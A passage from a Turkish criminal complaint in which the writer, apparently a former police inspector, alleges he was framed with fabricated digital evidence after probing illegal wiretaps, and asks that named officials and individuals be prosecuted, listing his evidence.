21.  Orijini belli olmayan bir CD’nin iddianameye esas alınmış olmasına karşın; söz konusu bilgisayarın soruşturma aşamasında incelenmeyip, içeriğinin tutanağa bağlanmamış olması, dijital delillerin hukuki niteliğinin CMK.134 kapmasında incelenmemiş olması, elektronik posta adreslerinin kime ait olduğunun tespit edilmemiş olması, lehime olan  delillerin iddianame hazırlanırken göz ardı edilmesinden başka bir anlama gelmemektedir.
 
Sonuç ve İstem:
 
Kronolojisi anlatılan olaylar dizisi 100901006420262 seri numaralı harddisk’te yer alan logların ortadan kaldırılarak yasadışı telefon dinlemelerine ilişkin delillerin karartılması ile müfettiş olarak yürüttüğüm soruşturmadan el çektirilmemi sağlamak amacıyla örgütlü olarak suç uyduran ve basın yoluyla itibarımı zedelemeye çalışan fiilerden ibarettir.
 
Yasadışı telefon dinlemelerine ilişkin idarenin gerekli inceleme/soruşturma işlemlerini yapması ile anlatılan yasadışı telefon dinlemelerine ilişkin araştırma yapılması maksadıyla, T.B.M.M. ve Başbakanlık makamlarına yazılı olarak başvuruda bulundum. Başvurum sonrasında Bakanlık Makamının 17.03.2014 tarih ve EGM/Müf:2015/354 ile 18.02.2015 tarihli ve EGM/Müf:2015/354 sayılı olurları ile İstanbul İstihbarat Şube Müdürlüğü’nde görevlendirilen müfettişler tarafından usulüz dinleme iddiaları ile ilgili soruşturma yürütülmüş olup T.B.M.M Başkanlık divanının 19354 karar nolu cevabı ile söz konusu müfettiş raporlarının İstanbul Cumhuriyet Başsavcılığı’na gönderildikleri ifade edilmiştir.
 
Sahte dijital verilerle örgütlü olarak suç uyduran, gözaltına alınarak yargılanmama neden olan suç örgütü faaliyeti kapsamında, iftira ve hürriyeti tehdit, sahtecilik, suç uydurma, suç delillerini yok etme, gizleme veya değiştirme ve görevi kötüye kullanma, haberleşmenin gizliliğini ihlal, kişisel verilerin hukuka aykırı olarak kaydedilmesi suçlarını işleyen, Emniyet Mensupları ve Amirleri ile Barış Çakır, Burcu Çiçekverdi isimli şüpheliler hakkında kamu davası açılmasına ve cezalandırılmasının sağlanmasına karar verilmesini saygıyla talep ederim. 
 
Deliller: Arsenal Consulting Raporu, E-postalar, İstanbul 12.Asliye Ceza Mahkemesi 211/227 sayılı dosya ve ekleri, İç İşleri Bakanlığı 17.03.2014 tarih ve EGM/MÜF:2015/354 sayılı müfettiş raporu, 18.02.2015 tarih ve EGM/MÜF:2015/354 sayılı müfettiş raporu, T.B.M.M Başkanlık Divanı 19354 karar nolu Evrak, SGK Hizmet Dökümü